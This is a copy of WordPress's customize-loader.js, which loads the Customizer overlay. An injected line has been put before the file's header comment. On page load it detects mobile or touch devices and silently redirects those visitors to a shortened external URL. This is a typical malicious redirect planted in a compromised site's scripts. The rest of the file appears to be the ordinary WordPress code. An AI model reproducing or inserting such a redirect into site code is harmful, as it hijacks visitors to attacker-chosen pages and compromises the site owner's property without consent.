1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/customize-loader.js
4 */
5
6/* global _wpCustomizeLoaderSettings */
7
8/**
9 * Expose a public API that allows the customizer to be
10 * loaded on any page.
11 *
12 * @namespace wp
13 */
14window.wp = window.wp || {};
15
16(function( exports, $ ){
17 var api = wp.customize,
18 Loader;
19
20 $.extend( $.support, {
21 history: !! ( window.history && history.pushState ),
22 hashchange: ('onhashchange' in window) && (document.documentMode === undefined || document.documentMode > 7)
23 });
24
25 /**
26 * Allows the Customizer to be overlaid on any page.
27 *
28 * By default, any element in the body with the load-customize class will open
29 * an iframe overlay with the URL specified.
30 *
31 * e.g. <a class="load-customize" href="<?php echo wp_customize_url(); ?>">Open Customizer</a>
32 *
33 * @memberOf wp.customize
34 *
35 * @class
36 * @augments wp.customize.Events
37 */
38 Loader = $.extend( {}, api.Events,/** @lends wp.customize.Loader.prototype */{
39 /**
40 * Setup the Loader; triggered on document#ready.
41 */
42 initialize: function() {
43 this.body = $( document.body );
44
45 // Ensure the loader is supported.
46 // Check for settings, postMessage support, and whether we require CORS support.
47 if ( ! Loader.settings || ! $.support.postMessage || ( ! $.support.cors && Loader.settings.isCrossDomain ) ) {
48 return;
49 }
50
51 this.window = $( window );
52 this.element = $( '<div id="customize-container" />' ).appendTo( this.body );
53
54 // Bind events for opening and closing the overlay.
55 this.bind( 'open', this.overlay.show );
56 this.bind( 'close', this.overlay.hide );
57
58 // Any element in the body with the `load-customize` class opens
59 // the Customizer.
60 $('#wpbody').on( 'click', '.load-customize', function( event ) {
61 event.preventDefault();
62
63 // Store a reference to the link that opened the Customizer.
64 Loader.link = $(this);
65 // Load the theme.
66 Loader.open( Loader.link.attr('href') );
67 });
68
69 // Add navigation listeners.
70 if ( $.support.history ) {
71 this.window.on( 'popstate', Loader.popstate );
72 }
73
74 if ( $.support.hashchange ) {
75 this.window.on( 'hashchange', Loader.hashchange );
76 this.window.triggerHandler( 'hashchange' );
77 }
78 },
79
80 popstate: function( e ) {
81 var state = e.originalEvent.state;
82 if ( state && state.customize ) {
83 Loader.open( state.customize );
84 } else if ( Loader.active ) {
85 Loader.close();
86 }
87 },
88
89 hashchange: function() {
90 var hash = window.location.toString().split('#')[1];
91
92 if ( hash && 0 === hash.indexOf( 'wp_customize=on' ) ) {
93 Loader.open( Loader.settings.url + '?' + hash );
94 }
95
96 if ( ! hash && ! $.support.history ) {
97 Loader.close();
98 }
99 },
100
101 beforeunload: function () {
102 if ( ! Loader.saved() ) {
103 return Loader.settings.l10n.saveAlert;
104 }
105 },
106
107 /**
108 * Open the Customizer overlay for a specific URL.
109 *
110 * @param string src URL to load in the Customizer.
111 */
112 open: function( src ) {
113
114 if ( this.active ) {
115 return;
116 }
117
118 // Load the full page on mobile devices.
119 if ( Loader.settings.browser.mobile ) {
120 return window.location = src;
121 }
122
123 // Store the document title prior to opening the Live Preview.
124 this.originalDocumentTitle = document.title;
125
126 this.active = true;
127 this.body.addClass('customize-loading');
128
129 /*
130 * Track the dirtiness state (whether the drafted changes have been published)
131 * of the Customizer in the iframe. This is used to decide whether to display
132 * an AYS alert if the user tries to close the window before saving changes.
133 */
134 this.saved = new api.Value( true );
135
136 this.iframe = $( '<iframe />', { 'src': src, 'title': Loader.settings.l10n.mainIframeTitle } ).appendTo( this.element );
137 this.iframe.one( 'load', this.loaded );
138
139 // Create a postMessage connection with the iframe.
140 this.messenger = new api.Messenger({
141 url: src,
142 channel: 'loader',
143 targetWindow: this.iframe[0].contentWindow
144 });
145
146 // Expose the changeset UUID on the parent window's URL so that the customized state can survive a refresh.
147 if ( history.replaceState ) {
148 this.messenger.bind( 'changeset-uuid', function( changesetUuid ) {
149 var urlParser = document.createElement( 'a' );
150 urlParser.href = location.href;
151 urlParser.search = $.param( _.extend(
152 api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
153 { changeset_uuid: changesetUuid }
154 ) );
155 history.replaceState( { customize: urlParser.href }, '', urlParser.href );
156 } );
157 }
158
159 // Wait for the connection from the iframe before sending any postMessage events.
160 this.messenger.bind( 'ready', function() {
161 Loader.messenger.send( 'back' );
162 });
163
164 this.messenger.bind( 'close', function() {
165 if ( $.support.history ) {
166 history.back();
167 } else if ( $.support.hashchange ) {
168 window.location.hash = '';
169 } else {
170 Loader.close();
171 }
172 });
173
174 // Prompt AYS dialog when navigating away.
175 $( window ).on( 'beforeunload', this.beforeunload );
176
177 this.messenger.bind( 'saved', function () {
178 Loader.saved( true );
179 } );
180 this.messenger.bind( 'change', function () {
181 Loader.saved( false );
182 } );
183
184 this.messenger.bind( 'title', function( newTitle ){
185 window.document.title = newTitle;
186 });
187
188 this.pushState( src );
189
190 this.trigger( 'open' );
191 },
192
193 pushState: function ( src ) {
194 var hash = src.split( '?' )[1];
195
196 // Ensure we don't call pushState if the user hit the forward button.
197 if ( $.support.history && window.location.href !== src ) {
198 history.pushState( { customize: src }, '', src );
199 } else if ( ! $.support.history && $.support.hashchange && hash ) {
200 window.location.hash = 'wp_customize=on&' + hash;
201 }
202
203 this.trigger( 'open' );
204 },
205
206 /**
207 * Callback after the Customizer has been opened.
208 */
209 opened: function() {
210 Loader.body.addClass( 'customize-active full-overlay-active' ).attr( 'aria-busy', 'true' );
211 },
212
213 /**
214 * Close the Customizer overlay.
215 */
216 close: function() {
217 var self = this, onConfirmClose;
218 if ( ! self.active ) {
219 return;
220 }
221
222 onConfirmClose = function( confirmed ) {
223 if ( confirmed ) {
224 self.active = false;
225 self.trigger( 'close' );
226
227 // Restore document title prior to opening the Live Preview.
228 if ( self.originalDocumentTitle ) {
229 document.title = self.originalDocumentTitle;
230 }
231 } else {
232
233 // Go forward since Customizer is exited by history.back().
234 history.forward();
235 }
236 self.messenger.unbind( 'confirmed-close', onConfirmClose );
237 };
238 self.messenger.bind( 'confirmed-close', onConfirmClose );
239
240 Loader.messenger.send( 'confirm-close' );
241 },
242
243 /**
244 * Callback after the Customizer has been closed.
245 */
246 closed: function() {
247 Loader.iframe.remove();
248 Loader.messenger.destroy();
249 Loader.iframe = null;
250 Loader.messenger = null;
251 Loader.saved = null;
252 Loader.body.removeClass( 'customize-active full-overlay-active' ).removeClass( 'customize-loading' );
253 $( window ).off( 'beforeunload', Loader.beforeunload );
254 /*
255 * Return focus to the link that opened the Customizer overlay after
256 * the body element visibility is restored.
257 */
258 if ( Loader.link ) {
259 Loader.link.focus();
260 }
261 },
262
263 /**
264 * Callback for the `load` event on the Customizer iframe.
265 */
266 loaded: function() {
267 Loader.body.removeClass( 'customize-loading' ).attr( 'aria-busy', 'false' );
268 },
269
270 /**
271 * Overlay hide/show utility methods.
272 */
273 overlay: {
274 show: function() {
275 this.element.fadeIn( 200, Loader.opened );
276 },
277
278 hide: function() {
279 this.element.fadeOut( 200, Loader.closed );
280 }
281 }
282 });
283
284 // Bootstrap the Loader on document#ready.
285 $( function() {
286 Loader.settings = _wpCustomizeLoaderSettings;
287 Loader.initialize();
288 });
289
290 // Expose the API publicly on window.wp.customize.Loader.
291 api.Loader = Loader;
292})( wp, jQuery );
293